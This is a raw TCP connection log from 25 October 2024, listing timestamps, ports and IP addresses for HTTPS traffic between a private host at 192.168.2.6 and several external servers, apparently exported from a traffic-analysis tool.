Oct 25, 2024 10:18:59.013793945 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.014489889 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.014523029 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.014621019 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.021753073 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.021766901 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.021826982 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.021831989 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.021868944 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.022764921 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.022782087 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.022891998 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.022933960 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.022945881 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.068099976 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.069598913 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.069679976 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.070480108 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.070492983 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.112641096 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.117512941 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.117523909 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.117927074 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.118650913 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.118720055 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.120296001 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.120322943 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.262141943 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.262198925 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.262686968 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.262840033 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.262911081 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.807543993 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.817608118 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.817617893 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.818047047 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.818608999 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.818669081 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.818830013 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.863338947 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.938719988 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.939332008 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.939346075 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.940396070 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.940474987 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.940484047 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.940980911 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.942892075 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.942970991 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.943336010 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.943367958 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.944051027 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.946048021 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.946116924 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.947274923 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.947350979 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.947372913 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.949328899 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.949424028 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.949506998 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:59.949567080 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:59.991338015 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.071079969 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.071110010 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.071207047 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.071223974 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.072349072 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.072410107 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.072567940 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.072633982 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.072654963 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.081223011 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.081233025 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.089082003 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.089179993 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.089210033 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.089220047 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.089240074 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.090331078 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.091943979 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.097281933 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.097307920 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.110501051 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.110543013 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.110560894 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.110585928 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.110599041 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.111571074 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.111639023 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.186667919 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.186698914 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:00.186711073 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.187226057 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:00.187791109 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.187800884 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.387917042 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.388005018 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:00.388082981 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.388617039 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:00.388653040 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.175571918 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.286607027 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:01.657094002 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:01.657161951 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.661340952 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.661367893 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.661396980 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:01.882875919 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:01.882947922 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:01.995210886 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:01.995446920 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:02.001766920 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:02.001808882 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:02.077460051 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:02.145404100 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:02.145428896 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:02.147175074 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:02.147207022 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:02.147245884 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:02.147572041 CEST	49840	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:02.147622108 CEST	443	49840	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:04.507705927 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:04.507740974 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:04.507822990 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:04.508105993 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:04.508120060 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.257560968 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.258126020 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.258151054 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.258522987 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.258812904 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.258866072 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.259291887 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.259301901 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.405740023 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.405767918 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.405837059 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.405869961 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.406739950 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.406829119 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.406837940 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.514719009 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.525372028 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.525388002 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.525440931 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.525676012 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.525681973 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.525733948 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.525904894 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.525966883 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.526017904 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.526137114 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.526176929 CEST	443	49869	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.526209116 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.526237965 CEST	49869	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.533070087 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.533122063 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:05.533211946 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.533464909 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:05.533485889 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.261280060 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.265114069 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.265131950 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.265491962 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.266244888 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.266297102 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.266588926 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.307327032 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.402770996 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.403426886 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.403476954 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.403495073 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.487684011 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.518929958 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.518944979 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.518995047 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.519028902 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.519088984 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.519112110 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.519165993 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.519186020 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.519213915 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:06.519299984 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.522114038 CEST	49878	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:06.522144079 CEST	443	49878	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:08.330600023 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:08.330672979 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:08.330847979 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:08.331443071 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:08.331475019 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:08.608074903 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:08.608112097 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:08.608298063 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:08.609520912 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:08.609538078 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.077344894 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.102128983 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.102137089 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.103020906 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.103086948 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.103095055 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.103373051 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.112194061 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.112238884 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.114248037 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.114554882 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.114564896 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.114742994 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.114758968 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.114818096 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.114917040 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.361327887 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.459758043 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.461308002 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.463471889 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.491518021 CEST	49899	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.491527081 CEST	443	49899	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.492693901 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.492717028 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.493237972 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.493727922 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.493804932 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.494514942 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.494535923 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.494589090 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.494627953 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.494703054 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.494714022 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.572554111 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.572587967 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.572652102 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.573041916 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:09.573057890 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:09.775711060 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.777440071 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.777529955 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.792746067 CEST	49901	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.792768955 CEST	443	49901	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.894484997 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.894504070 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:09.894793034 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.895323038 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:09.895330906 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.308187008 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.308672905 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.308703899 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.309295893 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.309685946 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.309791088 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.309887886 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.355328083 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.459009886 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.459064007 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.459105015 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.459122896 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.459300995 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.460112095 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.460171938 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.548901081 CEST	49910	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:10.548932076 CEST	443	49910	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:10.588103056 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.588141918 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.588226080 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.588602066 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.588624001 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.677347898 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.678050041 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.678061962 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.679224968 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.679799080 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.679898024 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.679991007 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.723330975 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.823344946 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.825094938 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.825150967 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.826407909 CEST	49918	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:10.826422930 CEST	443	49918	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:10.906661034 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.906668901 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:10.907109022 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.907224894 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.907247066 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:10.907293081 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.907601118 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.907609940 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:10.907836914 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:10.907849073 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.327750921 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.328038931 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.328052998 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.328653097 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.329134941 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.329238892 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.329405069 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.329437971 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.329442978 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.473385096 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.473459005 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.473488092 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.474117994 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.474844933 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.474972010 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.475153923 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.477298975 CEST	49921	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:11.477319956 CEST	443	49921	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:11.528386116 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.528744936 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.528757095 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.530395985 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.530479908 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.531641960 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.531641960 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.531733036 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.531941891 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.531943083 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.531955957 CEST	443	49926	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.532006979 CEST	49926	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.534266949 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.534312963 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.534545898 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.536494970 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.537998915 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.538028955 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.538309097 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.538327932 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.539547920 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.539625883 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.540585041 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.540657997 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.540741920 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.540750980 CEST	443	49927	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.540790081 CEST	49927	443	192.168.2.6	172.67.167.62
